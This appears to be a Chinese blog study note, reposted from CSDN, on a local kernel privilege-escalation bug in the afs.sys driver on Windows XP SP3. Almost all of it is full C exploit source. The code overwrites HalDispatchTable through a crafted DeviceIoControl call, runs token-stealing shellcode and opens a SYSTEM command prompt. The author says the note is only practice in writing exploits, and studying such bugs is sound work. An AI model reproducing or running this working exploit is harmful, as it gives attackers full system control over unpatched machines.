漏洞战争学习笔记2 内核漏洞:本地提权执行任意代码

参考作者
在这里插入图片描述
环境 xp sp3
漏洞驱动:afs.sys
反编译器 ida6.8
exp :http://bbs.pediy.com/showthread.php?t=143634

#include <stdio.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")// //静态加入一个lib文件

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
	HANDLE Section;                 // Not filled in
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR  FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
	ULONG NumberOfModules;
	RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG(__stdcall *NtQueryIntervalProfile_) (ULONG, PULONG);
typedef ULONG(__stdcall *NtQuerySystemInformation_) (ULONG, PVOID, ULONG, PULONG);
typedef ULONG(__stdcall *NtAllocateVirtualMemory_) (HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;

ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
//提权shellcode
void _declspec(naked) ShellCode()
{
	__asm
	{
		pushad
		pushfd
		mov esi, PsReferencePrimaryToken
		FindTokenOffset :
		lodsb
			cmp al, 8Dh;
		jnz FindTokenOffset
			mov edi, [esi + 1]
			mov esi, PsInitialSystemProcess
			mov esi, [esi]
			push fs : [124h]//拿到当前线程
			mov eax, PsGetThreadProcess
			call eax
			add esi, edi
			add edi, eax
			movsd
			popfd
			popad
			ret
	}
}



void main()
{

	HMODULE ntdll = GetModuleHandle(L"ntdll.dll");//获取ntdll句柄
	NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile");//获取冷门函数地址
	NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress(ntdll, "NtAllocateVirtualMemory");//获取NtAllocateVirtualMemory 函数地址
	NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation"); //获取NtAllocateVirtualMemory函数地址
	if (NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL)
		return;

	ULONG    BaseAddress = 1, RegionSize = 0x1000, status;
	//指定进程的虚拟空间中申请一块内存
	//目标进程句柄/内存基址指针/基址高位零位数量当该值为零时,此参数将被忽略/期望大小/分配类型/对页面执行任何操作都不会引发访问违规
	status = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (status)
		return;

	//取ntoskrnl的信息,只要调用一次就行
	ULONG   NtoskrnlBase;
	RTL_PROCESS_MODULES module;
	//获取模块缓冲区
	status = NtQuerySystemInformation(11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
	if (status != 0xC0000004)    //STATUS_INFO_LENGTH_MISMATCH
		return;

	NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;

	//把ntoskrnl.exe加载进来
	HMODULE     ntoskrnl;
	ntoskrnl = LoadLibraryA((LPCSTR)(module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName));
	if (ntoskrnl == NULL)
		return;

	//计算实际地址
	WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
	PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl, "PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
	PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl, "PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
	PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl, "PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

	//分配内存
	if (VirtualAlloc((PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) == NULL)
		return;

	memset((PVOID)0x02070000, 0x90, 0x20000);
	memcpy((PVOID)0x02080000, ShellCode, 100);



	SOCKET tcp_socket;
	ULONG  dwReturnSize;
	WORD sockVerson = MAKEWORD(2, 2);
	WSADATA wsaData;

	//绑定库文件 使用哪个socket版本
	if (WSAStartup(sockVerson, &wsaData) != 0) {
		printf("初始化失败");
		getchar();
		return;
	}
	sockaddr_in peer;
	peer.sin_family = AF_INET;//指定IP格式
	peer.sin_port = htons(445);//绑定端口号 连接到4455 保持连接状态为CONNECTING
	peer.sin_addr.s_addr = inet_addr("127.0.0.1");//绑定IP
	//建立客户端socket
	//AF_INET表示IPv4,SOCK_STREAM数据传输方式,IPPROTO_TCP传输协议;
	if ((tcp_socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
	{
		printf("创建套接口失败");
		int n = WSAGetLastError();
		printf("%d", n);
		WSACleanup();
		getchar();
		return;
	}
	//建立与指定socket的连接
	if (connect(tcp_socket, (sockaddr*) &peer, sizeof(sockaddr_in))== SOCKET_ERROR)
	{
		
		printf("客户端建立连接失败");
		int n= WSAGetLastError();
		closesocket(tcp_socket);
		printf("%d", n);
		WSACleanup();
		getchar();
		return;
	}
	//输入缓冲区为19个字节
	UCHAR   buf1[26] = "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00";
	memset((PVOID)0x1000, 0x45, 0x108);
	memcpy((PVOID)0x1000, buf1, 25);
	//只要输入长度大于十八&&输出为0&&输入缓冲区第八个字节不为0则能触发漏洞
	if (!DeviceIoControl((HANDLE)tcp_socket, 0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0, &dwReturnSize, NULL))
	{
		printf("error=%d\n", GetLastError());
	}

	//触发,弹出system的cmd  熟悉的冷门函数。。。
	NtQueryIntervalProfile(2, &status);
	//hwnd
	//标识父窗口。该窗口可以接收任何 消息框的应用程序产生(例如,用于错误报告).
	//lpszOp
	//指向一个空结束的字符串,指定执行的操作。这个字符串可以是“open”或“打印”。如果这个参数为"",“open”是默认值。
	//lpszFile
	//指向一个空结束的字符串,指定文件
	//lpszParams
	//指向一个空结束的字符串指定参数 传递给应用程序时lpszFile参数所 指定一个可执行文件。如果lpszFile指向一个文档文件,该参数为""。
	//LpszDir
	//指向一个空结束的字符串指定默认目录。
	//FsShowCmd
	//指定应用程序窗口是否被显示时 该应用程序被打开。
	ShellExecute(NULL, L"open", L"cmd.exe", NULL, NULL, SW_SHOW);
}

此笔记只是为了熟悉写利用的手段 关于触发漏洞 和调试漏洞 我并不能从ida静态代码中看出丝毫破绽 动态调试的话也不知道怎么去调系统驱动 嗯。。。还是太菜了

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/104757060
今日推荐